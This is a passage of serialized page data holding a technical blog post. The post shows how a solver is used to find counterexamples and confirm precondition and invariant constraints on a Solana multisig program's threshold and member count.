",{"type":23,"tag":75,"props":34940,"children":34941},{"style":110},[34942],{"type":29,"value":34943},"total_members",{"type":23,"tag":75,"props":34945,"children":34946},{"style":94},[34947],{"type":29,"value":401},{"type":23,"tag":75,"props":34949,"children":34950},{"class":77,"line":5041},[34951,34955,34959,34963,34967,34971,34976],{"type":23,"tag":75,"props":34952,"children":34953},{"style":175},[34954],{"type":29,"value":1388},{"type":23,"tag":75,"props":34956,"children":34957},{"style":88},[34958],{"type":29,"value":34733},{"type":23,"tag":75,"props":34960,"children":34961},{"style":94},[34962],{"type":29,"value":643},{"type":23,"tag":75,"props":34964,"children":34965},{"style":104},[34966],{"type":29,"value":34742},{"type":23,"tag":75,"props":34968,"children":34969},{"style":209},[34970],{"type":29,"value":1407},{"type":23,"tag":75,"props":34972,"children":34973},{"style":104},[34974],{"type":29,"value":34975},"InvalidThreshold",{"type":23,"tag":75,"props":34977,"children":34978},{"style":94},[34979],{"type":29,"value":15099},{"type":23,"tag":75,"props":34981,"children":34982},{"class":77,"line":5050},[34983],{"type":23,"tag":75,"props":34984,"children":34985},{"style":94},[34986],{"type":29,"value":346},{"type":23,"tag":75,"props":34988,"children":34989},{"class":77,"line":5058},[34990],{"type":23,"tag":75,"props":34991,"children":34992},{"emptyLinePlaceholder":15},[34993],{"type":29,"value":276},{"type":23,"tag":75,"props":34995,"children":34996},{"class":77,"line":5083},[34997,35001,35005,35009,35013,35018,35022,35026],{"type":23,"tag":75,"props":34998,"children":34999},{"style":110},[35000],{"type":29,"value":2946},{"type":23,"tag":75,"props":35002,"children":35003},{"style":209},[35004],{"type":29,"value":557},{"type":23,"tag":75,"props":35006,"children":35007},{"style":94},[35008],{"type":29,"value":25911},{"type":23,"tag":75,"props":35010,"children":35011},{"style":209},[35012],{"type":29,"value":557},{"type":23,"tag":75,"props":35014,"children":35015},{"style":94},[35016],{"type":29,"value":35017},"multisig",{"type":23,"tag":75,"props":35019,"children":35020},{"style":209},[35021],{"type":29,"value":557},{"type":23,"tag":75,"props":35023,"children":35024},{"style":88},[35025],{"type":29,"value":31958},{"type":23,"tag":75,"props":35027,"children":35028},{"style":94},[35029],{"type":29,"value":97},{"type":23,"tag":75,"props":35031,"children":35032},{"class":77,"line":5108},[35033,35038],{"type":23,"tag":75,"props":35034,"children":35035},{"style":110},[35036],{"type":29,"value":35037},"        threshold",{"type":23,"tag":75,"props":35039,"children":35040},{"style":94},[35041],{"type":29,"value":118},{"type":23,"tag":75,"props":35043,"children":35044},{"class":77,"line":5137},[35045,35050],{"type":23,"tag":75,"props":35046,"children":35047},{"style":110},[35048],{"type":29,"value":35049},"        create_key",{"type":23,"tag":75,"props":35051,"children":35052},{"style":94},[35053],{"type":29,"value":118},{"type":23,"tag":75,"props":35055,"children":35056},{"class":77,"line":5163},[35057,35062],{"type":23,"tag":75,"props":35058,"children":35059},{"style":110},[35060],{"type":29,"value":35061},"        members",{"type":23,"tag":75,"props":35063,"children":35064},{"style":94},[35065],{"type":29,"value":118},{"type":23,"tag":75,"props":35067,"children":35068},{"class":77,"line":5172},[35069,35073,35077,35081,35086,35090,35094,35098,35103,35107,35111,35115],{"type":23,"tag":75,"props":35070,"children":35071},{"style":209},[35072],{"type":29,"value":19010},{"type":23,"tag":75,"props":35074,"children":35075},{"style":110},[35076],{"type":29,"value":3331},{"type":23,"tag":75,"props":35078,"children":35079},{"style":209},[35080],{"type":29,"value":557},{"type":23,"tag":75,"props":35082,"children":35083},{"style":94},[35084],{"type":29,"value":35085},"bumps",{"type":23,"tag":75,"props":35087,"children":35088},{"style":209},[35089],{"type":29,"value":557},{"type":23,"tag":75,"props":35091,"children":35092},{"style":88},[35093],{"type":29,"value":27575},{"type":23,"tag":75,"props":35095,"children":35096},{"style":94},[35097],{"type":29,"value":643},{"type":23,"tag":75,"props":35099,"children":35100},{"style":1266},[35101],{"type":29,"value":35102},"\"multisig\"",{"type":23,"tag":75,"props":35104,"children":35105},{"style":94},[35106],{"type":29,"value":1347},{"type":23,"tag":75,"props":35108,"children":35109},{"style":209},[35110],{"type":29,"value":557},{"type":23,"tag":75,"props":35112,"children":35113},{"style":88},[35114],{"type":29,"value":14939},{"type":23,"tag":75,"props":35116,"children":35117},{"style":94},[35118],{"type":29,"value":2580},{"type":23,"tag":75,"props":35120,"children":35121},{"class":77,"line":5206},[35122],{"type":23,"tag":75,"props":35123,"children":35124},{"style":94},[35125],{"type":29,"value":7152},{"type":23,"tag":75,"props":35127,"children":35128},{"class":77,"line":5214},[35129],{"type":23,"tag":75,"props":35130,"children":35131},{"style":94},[35132],{"type":29,"value":369},{"type":23,"tag":32,"props":35134,"children":35135},{},[35136,35138,35143,35145,35150],{"type":29,"value":35137},"We can start by testing an empty ",{"type":23,"tag":71,"props":35139,"children":35141},{"className":35140},[],[35142],{"type":29,"value":31377},{"type":29,"value":35144}," (this will default to ",{"type":23,"tag":71,"props":35146,"children":35148},{"className":35147},[],[35149],{"type":29,"value":15268},{"type":29,"value":35151},"):",{"type":23,"tag":64,"props":35153,"children":35155},{"code":35154,"language":986,"meta":7,"className":987,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[35156],{"type":23,"tag":71,"props":35157,"children":35158},{"__ignoreMap":7},[35159,35167],{"type":23,"tag":75,"props":35160,"children":35161},{"class":77,"line":78},[35162],{"type":23,"tag":75,"props":35163,"children":35164},{"style":94},[35165],{"type":29,"value":35166},"#[succeeds_if()]\n",{"type":23,"tag":75,"props":35168,"children":35169},{"class":77,"line":100},[35170,35174,35178,35182,35186,35190,35194,35198],{"type":23,"tag":75,"props":35171,"children":35172},{"style":82},[35173],{"type":29,"value":24933},{"type":23,"tag":75,"props":35175,"children":35176},{"style":82},[35177],{"type":29,"value":24938},{"type":23,"tag":75,"props":35179,"children":35180},{"style":88},[35181],{"type":29,"value":18376},{"type":23,"tag":75,"props":35183,"children":35184},{"style":94},[35185],{"type":29,"value":643},{"type":23,"tag":75,"props":35187,"children":35188},{"style":209},[35189],{"type":29,"value":9174},{"type":23,"tag":75,"props":35191,"children":35192},{"style":94},[35193],{"type":29,"value":8248},{"type":23,"tag":75,"props":35195,"children":35196},{"style":209},[35197],{"type":29,"value":9174},{"type":23,"tag":75,"props":35199,"children":35200},{"style":94},[35201],{"type":29,"value":7477},{"type":23,"tag":32,"props":35203,"children":35204},{},[35205],{"type":29,"value":35206},"Running the solver, we get:",{"type":23,"tag":64,"props":35208,"children":35210},{"code":35209},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[35211],{"type":23,"tag":71,"props":35212,"children":35213},{"__ignoreMap":7},[35214],{"type":29,"value":35209},{"type":23,"tag":32,"props":35216,"children":35217},{},[35218,35220,35225],{"type":29,"value":35219},"This means that ",{"type":23,"tag":71,"props":35221,"children":35223},{"className":35222},[],[35224],{"type":29,"value":15268},{"type":29,"value":35226}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":23,"tag":32,"props":35228,"children":35229},{},[35230],{"type":29,"value":35231},"We can ask the solver to produce a counterexample:",{"type":23,"tag":64,"props":35233,"children":35235},{"code":35234},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[35236],{"type":23,"tag":71,"props":35237,"children":35238},{"__ignoreMap":7},[35239],{"type":29,"value":35234},{"type":23,"tag":32,"props":35241,"children":35242},{},[35243],{"type":29,"value":35244},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":23,"tag":32,"props":35246,"children":35247},{},[35248],{"type":23,"tag":9690,"props":35249,"children":35250},{},[35251,35253,35259],{"type":29,"value":35252},"Note also that the verifier decided to use a ",{"type":23,"tag":71,"props":35254,"children":35256},{"className":35255},[],[35257],{"type":29,"value":35258},"SparseVec",{"type":29,"value":35260}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":23,"tag":32,"props":35262,"children":35263},{},[35264],{"type":23,"tag":9690,"props":35265,"children":35266},{},[35267,35269,35274,35275,35281,35283,35288,35290,35295],{"type":29,"value":35268},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":23,"tag":71,"props":35270,"children":35272},{"className":35271},[],[35273],{"type":29,"value":15085},{"type":29,"value":2721},{"type":23,"tag":71,"props":35276,"children":35278},{"className":35277},[],[35279],{"type":29,"value":35280},"pop",{"type":29,"value":35282}," are stubbed out to simply panic for the ",{"type":23,"tag":71,"props":35284,"children":35286},{"className":35285},[],[35287],{"type":29,"value":35258},{"type":29,"value":35289}," and if this code tried to do that we would fall back to the concrete ",{"type":23,"tag":71,"props":35291,"children":35293},{"className":35292},[],[35294],{"type":29,"value":28434},{"type":29,"value":35296}," type.",{"type":23,"tag":32,"props":35298,"children":35299},{},[35300],{"type":29,"value":35301},"We can add this to our constraint and try again:",{"type":23,"tag":64,"props":35303,"children":35305},{"code":35304,"language":986,"meta":7,"className":987,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[35306],{"type":23,"tag":71,"props":35307,"children":35308},{"__ignoreMap":7},[35309,35317,35354,35361],{"type":23,"tag":75,"props":35310,"children":35311},{"class":77,"line":78},[35312],{"type":23,"tag":75,"props":35313,"children":35314},{"style":94},[35315],{"type":29,"value":35316},"#[succeeds_if(\n",{"type":23,"tag":75,"props":35318,"children":35319},{"class":77,"line":100},[35320,35325,35329,35333,35337,35341,35345,35349],{"type":23,"tag":75,"props":35321,"children":35322},{"style":94},[35323],{"type":29,"value":35324},"    (threshold ",{"type":23,"tag":75,"props":35326,"children":35327},{"style":82},[35328],{"type":29,"value":20097},{"type":23,"tag":75,"props":35330,"children":35331},{"style":104},[35332],{"type":29,"value":24974},{"type":23,"tag":75,"props":35334,"children":35335},{"style":94},[35336],{"type":29,"value":167},{"type":23,"tag":75,"props":35338,"children":35339},{"style":209},[35340],{"type":29,"value":30637},{"type":23,"tag":75,"props":35342,"children":35343},{"style":94},[35344],{"type":29,"value":34599},{"type":23,"tag":75,"props":35346,"children":35347},{"style":209},[35348],{"type":29,"value":557},{"type":23,"tag":75,"props":35350,"children":35351},{"style":94},[35352],{"type":29,"value":35353},"len()\n",{"type":23,"tag":75,"props":35355,"children":35356},{"class":77,"line":121},[35357],{"type":23,"tag":75,"props":35358,"children":35359},{"style":94},[35360],{"type":29,"value":31480},{"type":23,"tag":75,"props":35362,"children":35363},{"class":77,"line":138},[35364,35368,35372,35376,35380,35384,35388,35392],{"type":23,"tag":75,"props":35365,"children":35366},{"style":82},[35367],{"type":29,"value":24933},{"type":23,"tag":75,"props":35369,"children":35370},{"style":82},[35371],{"type":29,"value":24938},{"type":23,"tag":75,"props":35373,"children":35374},{"style":88},[35375],{"type":29,"value":18376},{"type":23,"tag":75,"props":35377,"children":35378},{"style":94},[35379],{"type":29,"value":643},{"type":23,"tag":75,"props":35381,"children":35382},{"style":209},[35383],{"type":29,"value":9174},{"type":23,"tag":75,"props":35385,"children":35386},{"style":94},[35387],{"type":29,"value":8248},{"type":23,"tag":75,"props":35389,"children":35390},{"style":209},[35391],{"type":29,"value":9174},{"type":23,"tag":75,"props":35393,"children":35394},{"style":94},[35395],{"type":29,"value":7477},{"type":23,"tag":32,"props":35397,"children":35398},{},[35399],{"type":29,"value":35400},"Verification failed again! This time we get a different counterexample:",{"type":23,"tag":64,"props":35402,"children":35404},{"code":35403},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[35405],{"type":23,"tag":71,"props":35406,"children":35407},{"__ignoreMap":7},[35408],{"type":29,"value":35403},{"type":23,"tag":32,"props":35410,"children":35411},{},[35412],{"type":29,"value":35413},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":23,"tag":64,"props":35415,"children":35417},{"code":35416,"language":986,"meta":7,"className":987,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[35418],{"type":23,"tag":71,"props":35419,"children":35420},{"__ignoreMap":7},[35421,35428,35463,35484,35491],{"type":23,"tag":75,"props":35422,"children":35423},{"class":77,"line":78},[35424],{"type":23,"tag":75,"props":35425,"children":35426},{"style":94},[35427],{"type":29,"value":35316},{"type":23,"tag":75,"props":35429,"children":35430},{"class":77,"line":100},[35431,35435,35439,35443,35447,35451,35455,35459],{"type":23,"tag":75,"props":35432,"children":35433},{"style":94},[35434],{"type":29,"value":35324},{"type":23,"tag":75,"props":35436,"children":35437},{"style":82},[35438],{"type":29,"value":20097},{"type":23,"tag":75,"props":35440,"children":35441},{"style":104},[35442],{"type":29,"value":24974},{"type":23,"tag":75,"props":35444,"children":35445},{"style":94},[35446],{"type":29,"value":167},{"type":23,"tag":75,"props":35448,"children":35449},{"style":209},[35450],{"type":29,"value":30637},{"type":23,"tag":75,"props":35452,"children":35453},{"style":94},[35454],{"type":29,"value":34599},{"type":23,"tag":75,"props":35456,"children":35457},{"style":209},[35458],{"type":29,"value":557},{"type":23,"tag":75,"props":35460,"children":35461},{"style":94},[35462],{"type":29,"value":35353},{"type":23,"tag":75,"props":35464,"children":35465},{"class":77,"line":121},[35466,35470,35475,35479],{"type":23,"tag":75,"props":35467,"children":35468},{"style":209},[35469],{"type":29,"value":26849},{"type":23,"tag":75,"props":35471,"children":35472},{"style":94},[35473],{"type":29,"value":35474}," threshold ",{"type":23,"tag":75,"props":35476,"children":35477},{"style":209},[35478],{"type":29,"value":26916},{"type":23,"tag":75,"props":35480,"children":35481},{"style":94},[35482],{"type":29,"value":35483}," 0\n",{"type":23,"tag":75,"props":35485,"children":35486},{"class":77,"line":138},[35487],{"type":23,"tag":75,"props":35488,"children":35489},{"style":94},[35490],{"type":29,"value":31480},{"type":23,"tag":75,"props":35492,"children":35493},{"class":77,"line":161},[35494,35498,35502,35506,35510,35514,35518,35522],{"type":23,"tag":75,"props":35495,"children":35496},{"style":82},[35497],{"type":29,"value":24933},{"type":23,"tag":75,"props":35499,"children":35500},{"style":82},[35501],{"type":29,"value":24938},{"type":23,"tag":75,"props":35503,"children":35504},{"style":88},[35505],{"type":29,"value":18376},{"type":23,"tag":75,"props":35507,"children":35508},{"style":94},[35509],{"type":29,"value":643},{"type":23,"tag":75,"props":35511,"children":35512},{"style":209},[35513],{"type":29,"value":9174},{"type":23,"tag":75,"props":35515,"children":35516},{"style":94},[35517],{"type":29,"value":8248},{"type":23,"tag":75,"props":35519,"children":35520},{"style":209},[35521],{"type":29,"value":9174},{"type":23,"tag":75,"props":35523,"children":35524},{"style":94},[35525],{"type":29,"value":7477},{"type":23,"tag":32,"props":35527,"children":35528},{},[35529],{"type":29,"value":35530},"A third counterexample:",{"type":23,"tag":64,"props":35532,"children":35534},{"code":35533},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[35535],{"type":23,"tag":71,"props":35536,"children":35537},{"__ignoreMap":7},[35538],{"type":29,"value":35533},{"type":23,"tag":32,"props":35540,"children":35541},{},[35542,35544,35550],{"type":29,"value":35543},"Here we see the size of our ",{"type":23,"tag":71,"props":35545,"children":35547},{"className":35546},[],[35548],{"type":29,"value":35549},"members",{"type":29,"value":35551}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":23,"tag":64,"props":35553,"children":35555},{"code":35554,"language":986,"meta":7,"className":987,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[35556],{"type":23,"tag":71,"props":35557,"children":35558},{"__ignoreMap":7},[35559,35566,35601,35622,35674,35681],{"type":23,"tag":75,"props":35560,"children":35561},{"class":77,"line":78},[35562],{"type":23,"tag":75,"props":35563,"children":35564},{"style":94},[35565],{"type":29,"value":35316},{"type":23,"tag":75,"props":35567,"children":35568},{"class":77,"line":100},[35569,35573,35577,35581,35585,35589,35593,35597],{"type":23,"tag":75,"props":35570,"children":35571},{"style":94},[35572],{"type":29,"value":35324},{"type":23,"tag":75,"props":35574,"children":35575},{"style":82},[35576],{"type":29,"value":20097},{"type":23,"tag":75,"props":35578,"children":35579},{"style":104},[35580],{"type":29,"value":24974},{"type":23,"tag":75,"props":35582,"children":35583},{"style":94},[35584],{"type":29,"value":167},{"type":23,"tag":75,"props":35586,"children":35587},{"style":209},[35588],{"type":29,"value":30637},{"type":23,"tag":75,"props":35590,"children":35591},{"style":94},[35592],{"type":29,"value":34599},{"type":23,"tag":75,"props":35594,"children":35595},{"style":209},[35596],{"type":29,"value":557},{"type":23,"tag":75,"props":35598,"children":35599},{"style":94},[35600],{"type":29,"value":35353},{"type":23,"tag":75,"props":35602,"children":35603},{"class":77,"line":121},[35604,35608,35613,35617],{"type":23,"tag":75,"props":35605,"children":35606},{"style":209},[35607],{"type":29,"value":26849},{"type":23,"tag":75,"props":35609,"children":35610},{"style":94},[35611],{"type":29,"value":35612}," (threshold ",{"type":23,"tag":75,"props":35614,"children":35615},{"style":209},[35616],{"type":29,"value":26916},{"type":23,"tag":75,"props":35618,"children":35619},{"style":94},[35620],{"type":29,"value":35621}," 0)\n",{"type":23,"tag":75,"props":35623,"children":35624},{"class":77,"line":138},[35625,35629,35633,35637,35641,35645,35649,35654,35658,35662,35666,35670],{"type":23,"tag":75,"props":35626,"children":35627},{"style":209},[35628],{"type":29,"value":26849},{"type":23,"tag":75,"props":35630,"children":35631},{"style":94},[35632],{"type":29,"value":34213},{"type":23,"tag":75,"props":35634,"children":35635},{"style":209},[35636],{"type":29,"value":557},{"type":23,"tag":75,"props":35638,"children":35639},{"style":94},[35640],{"type":29,"value":32238},{"type":23,"tag":75,"props":35642,"children":35643},{"style":209},[35644],{"type":29,"value":30637},{"type":23,"tag":75,"props":35646,"children":35647},{"style":94},[35648],{"type":29,"value":183},{"type":23,"tag":75,"props":35650,"children":35651},{"style":104},[35652],{"type":29,"value":35653},"u16",{"type":23,"tag":75,"props":35655,"children":35656},{"style":209},[35657],{"type":29,"value":1407},{"type":23,"tag":75,"props":35659,"children":35660},{"style":104},[35661],{"type":29,"value":32256},{"type":23,"tag":75,"props":35663,"children":35664},{"style":82},[35665],{"type":29,"value":20083},{"type":23,"tag":75,"props":35667,"children":35668},{"style":104},[35669],{"type":29,"value":24974},{"type":23,"tag":75,"props":35671,"children":35672},{"style":94},[35673],{"type":29,"value":702},{"type":23,"tag":75,"props":35675,"children":35676},{"class":77,"line":161},[35677],{"type":23,"tag":75,"props":35678,"children":35679},{"style":94},[35680],{"type":29,"value":31480},{"type":23,"tag":75,"props":35682,"children":35683},{"class":77,"line":196},[35684,35688,35692,35696,35700,35704,35708,35712],{"type":23,"tag":75,"props":35685,"children":35686},{"style":82},[35687],{"type":29,"value":24933},{"type":23,"tag":75,"props":35689,"children":35690},{"style":82},[35691],{"type":29,"value":24938},{"type":23,"tag":75,"props":35693,"children":35694},{"style":88},[35695],{"type":29,"value":18376},{"type":23,"tag":75,"props":35697,"children":35698},{"style":94},[35699],{"type":29,"value":643},{"type":23,"tag":75,"props":35701,"children":35702},{"style":209},[35703],{"type":29,"value":9174},{"type":23,"tag":75,"props":35705,"children":35706},{"style":94},[35707],{"type":29,"value":8248},{"type":23,"tag":75,"props":35709,"children":35710},{"style":209},[35711],{"type":29,"value":9174},{"type":23,"tag":75,"props":35713,"children":35714},{"style":94},[35715],{"type":29,"value":7477},{"type":23,"tag":32,"props":35717,"children":35718},{},[35719],{"type":29,"value":35720},"And now we get:",{"type":23,"tag":64,"props":35722,"children":35724},{"code":35723},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[35725],{"type":23,"tag":71,"props":35726,"children":35727},{"__ignoreMap":7},[35728],{"type":29,"value":35723},{"type":23,"tag":32,"props":35730,"children":35731},{},[35732],{"type":29,"value":35733},"🥳🥳🥳",{"type":23,"tag":32,"props":35735,"children":35736},{},[35737],{"type":29,"value":35738},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":23,"tag":64,"props":35740,"children":35742},{"code":35741,"language":986,"meta":7,"className":987,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[35743],{"type":23,"tag":71,"props":35744,"children":35745},{"__ignoreMap":7},[35746,35769,35800],{"type":23,"tag":75,"props":35747,"children":35748},{"class":77,"line":78},[35749,35753,35757,35761,35765],{"type":23,"tag":75,"props":35750,"children":35751},{"style":175},[35752],{"type":29,"value":26807},{"type":23,"tag":75,"props":35754,"children":35755},{"style":110},[35756],{"type":29,"value":34678},{"type":23,"tag":75,"props":35758,"children":35759},{"style":209},[35760],{"type":29,"value":749},{"type":23,"tag":75,"props":35762,"children":35763},{"style":237},[35764],{"type":29,"value":15795},{"type":23,"tag":75,"props":35766,"children":35767},{"style":94},[35768],{"type":29,"value":401},{"type":23,"tag":75,"props":35770,"children":35771},{"class":77,"line":100},[35772,35776,35780,35784,35788,35792,35796],{"type":23,"tag":75,"props":35773,"children":35774},{"style":175},[35775],{"type":29,"value":355},{"type":23,"tag":75,"props":35777,"children":35778},{"style":88},[35779],{"type":29,"value":34733},{"type":23,"tag":75,"props":35781,"children":35782},{"style":94},[35783],{"type":29,"value":643},{"type":23,"tag":75,"props":35785,"children":35786},{"style":104},[35787],{"type":29,"value":34742},{"type":23,"tag":75,"props":35789,"children":35790},{"style":209},[35791],{"type":29,"value":1407},{"type":23,"tag":75,"props":35793,"children":35794},{"style":104},[35795],{"type":29,"value":34751},{"type":23,"tag":75,"props":35797,"children":35798},{"style":94},[35799],{"type":29,"value":15099},{"type":23,"tag":75,"props":35801,"children":35802},{"class":77,"line":121},[35803],{"type":23,"tag":75,"props":35804,"children":35805},{"style":94},[35806],{"type":29,"value":369},{"type":23,"tag":32,"props":35808,"children":35809},{},[35810,35812,35818,35820,35825,35827,35832,35834,35839],{"type":29,"value":35811},"In this case this is actually redundant because if ",{"type":23,"tag":71,"props":35813,"children":35815},{"className":35814},[],[35816],{"type":29,"value":35817},"members.len() == 0",{"type":29,"value":35819}," then our threshold would also have to be ",{"type":23,"tag":71,"props":35821,"children":35823},{"className":35822},[],[35824],{"type":29,"value":648},{"type":29,"value":35826}," (and our ",{"type":23,"tag":71,"props":35828,"children":35830},{"className":35829},[],[35831],{"type":29,"value":33964},{"type":29,"value":35833}," is not allowed to be ",{"type":23,"tag":71,"props":35835,"children":35837},{"className":35836},[],[35838],{"type":29,"value":648},{"type":29,"value":35840},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":23,"tag":923,"props":35842,"children":35844},{"id":35843},"_2-verify-threshold-requirements",[35845],{"type":29,"value":35846},"2. Verify threshold requirements",{"type":23,"tag":32,"props":35848,"children":35849},{},[35850],{"type":29,"value":35851},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":23,"tag":32,"props":35853,"children":35854},{},[35855,35857,35861],{"type":29,"value":35856},"Unlike the previous example, we want to verify this in ",{"type":23,"tag":9690,"props":35858,"children":35859},{},[35860],{"type":29,"value":20551},{"type":29,"value":35862}," cases. I.e. any instruction that could mutate the multisig account.",{"type":23,"tag":32,"props":35864,"children":35865},{},[35866,35868,35872,35874,35879],{"type":29,"value":35867},"In this case, we want to model this as an ",{"type":23,"tag":9690,"props":35869,"children":35870},{},[35871],{"type":29,"value":32993},{"type":29,"value":35873}," on the ",{"type":23,"tag":71,"props":35875,"children":35877},{"className":35876},[],[35878],{"type":29,"value":33956},{"type":29,"value":35880}," account struct:",{"type":23,"tag":64,"props":35882,"children":35884},{"code":35883,"language":986,"meta":7,"className":987,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[35885],{"type":23,"tag":71,"props":35886,"children":35887},{"__ignoreMap":7},[35888,35895,35919,35926,35950,36001,36008,36027,36054,36081,36108,36135,36162,36189,36216,36251],{"type":23,"tag":75,"props":35889,"children":35890},{"class":77,"line":78},[35891],{"type":23,"tag":75,"props":35892,"children":35893},{"style":94},[35894],{"type":29,"value":31988},{"type":23,"tag":75,"props":35896,"children":35897},{"class":77,"line":100},[35898,35902,35907,35911,35915],{"type":23,"tag":75,"props":35899,"children":35900},{"style":94},[35901],{"type":29,"value":34052},{"type":23,"tag":75,"props":35903,"children":35904},{"style":104},[35905],{"type":29,"value":35906},"Clone",{"type":23,"tag":75,"props":35908,"children":35909},{"style":94},[35910],{"type":29,"value":611},{"type":23,"tag":75,"props":35912,"children":35913},{"style":104},[35914],{"type":29,"value":9203},{"type":23,"tag":75,"props":35916,"children":35917},{"style":94},[35918],{"type":29,"value":31480},{"type":23,"tag":75,"props":35920,"children":35921},{"class":77,"line":121},[35922],{"type":23,"tag":75,"props":35923,"children":35924},{"style":94},[35925],{"type":29,"value":31996},{"type":23,"tag":75,"props":35927,"children":35928},{"class":77,"line":138},[35929,35934,35938,35942,35946],{"type":23,"tag":75,"props":35930,"children":35931},{"style":94},[35932],{"type":29,"value":35933},"    (self",{"type":23,"tag":75,"props":35935,"children":35936},{"style":209},[35937],{"type":29,"value":557},{"type":23,"tag":75,"props":35939,"children":35940},{"style":94},[35941],{"type":29,"value":32288},{"type":23,"tag":75,"props":35943,"children":35944},{"style":209},[35945],{"type":29,"value":21191},{"type":23,"tag":75,"props":35947,"children":35948},{"style":94},[35949],{"type":29,"value":32297},{"type":23,"tag":75,"props":35951,"children":35952},{"class":77,"line":161},[35953,35957,35961,35965,35969,35973,35977,35981,35985,35989,35993,35997],{"type":23,"tag":75,"props":35954,"children":35955},{"style":209},[35956],{"type":29,"value":26849},{"type":23,"tag":75,"props":35958,"children":35959},{"style":94},[35960],{"type":29,"value":32221},{"type":23,"tag":75,"props":35962,"children":35963},{"style":209},[35964],{"type":29,"value":557},{"type":23,"tag":75,"props":35966,"children":35967},{"style":94},[35968],{"type":29,"value":32288},{"type":23,"tag":75,"props":35970,"children":35971},{"style":82},[35972],{"type":29,"value":20097},{"type":23,"tag":75,"props":35974,"children":35975},{"style":104},[35976],{"type":29,"value":24974},{"type":23,"tag":75,"props":35978,"children":35979},{"style":209},[35980],{"type":29,"value":19456},{"type":23,"tag":75,"props":35982,"children":35983},{"style":94},[35984],{"type":29,"value":25039},{"type":23,"tag":75,"props":35986,"children":35987},{"style":209},[35988],{"type":29,"value":557},{"type":23,"tag":75,"props":35990,"children":35991},{"style":94},[35992],{"type":29,"value":1995},{"type":23,"tag":75,"props":35994,"children":35995},{"style":209},[35996],{"type":29,"value":557},{"type":23,"tag":75,"props":35998,"children":35999},{"style":94},[36000],{"type":29,"value":32349},{"type":23,"tag":75,"props":36002,"children":36003},{"class":77,"line":196},[36004],{"type":23,"tag":75,"props":36005,"children":36006},{"style":94},[36007],{"type":29,"value":31480},{"type":23,"tag":75,"props":36009,"children":36010},{"class":77,"line":220},[36011,36015,36019,36023],{"type":23,"tag":75,"props":36012,"children":36013},{"style":82},[36014],{"type":29,"value":24933},{"type":23,"tag":75,"props":36016,"children":36017},{"style":82},[36018],{"type":29,"value":396},{"type":23,"tag":75,"props":36020,"children":36021},{"style":104},[36022],{"type":29,"value":32372},{"type":23,"tag":75,"props":36024,"children":36025},{"style":94},[36026],{"type":29,"value":401},{"type":23,"tag":75,"props":36028,"children":36029},{"class":77,"line":248},[36030,36034,36038,36042,36046,36050],{"type":23,"tag":75,"props":36031,"children":36032},{"style":82},[36033],{"type":29,"value":32061},{"type":23,"tag":75,"props":36035,"children":36036},{"style":110},[36037],{"type":29,"value":32388},{"type":23,"tag":75,"props":36039,"children":36040},{"style":209},[36041],{"type":29,"value":1018},{"type":23,"tag":75,"props":36043,"children":36044},{"style":104},[36045],{"type":29,"value":32247},{"type":23,"tag":75,"props":36047,"children":36048},{"style":94},[36049],{"type":29,"value":32401},{"type":23,"tag":75,"props":36051,"children":36052},{"style":3621},[36053],{"type":29,"value":32406},{"type":23,"tag":75,"props":36055,"children":36056},{"class":77,"line":270},[36057,36061,36065,36069,36073,36077],{"type":23,"tag":75,"props":36058,"children":36059},{"style":82},[36060],{"type":29,"value":32061},{"type":23,"tag":75,"props":36062,"children":36063},{"style":110},[36064],{"type":29,"value":32418},{"type":23,"tag":75,"props":36066,"children":36067},{"style":209},[36068],{"type":29,"value":1018},{"type":23,"tag":75,"props":36070,"children":36071},{"style":104},[36072],{"type":29,"value":32247},{"type":23,"tag":75,"props":36074,"children":36075},{"style":94},[36076],{"type":29,"value":32431},{"type":23,"tag":75,"props":36078,"children":36079},{"style":3621},[36080],{"type":29,"value":32436},{"type":23,"tag":75,"props":36082,"children":36083},{"class":77,"line":279},[36084,36088,36092,36096,36100,36104],{"type":23,"tag":75,"props":36085,"children":36086},{"style":82},[36087],{"type":29,"value":32061},{"type":23,"tag":75,"props":36089,"children":36090},{"style":110},[36091],{"type":29,"value":32448},{"type":23,"tag":75,"props":36093,"children":36094},{"style":209},[36095],{"type":29,"value":1018},{"type":23,"tag":75,"props":36097,"children":36098},{"style":104},[36099],{"type":29,"value":28772},{"type":23,"tag":75,"props":36101,"children":36102},{"style":94},[36103],{"type":29,"value":32461},{"type":23,"tag":75,"props":36105,"children":36106},{"style":3621},[36107],{"type":29,"value":32466},{"type":23,"tag":75,"props":36109,"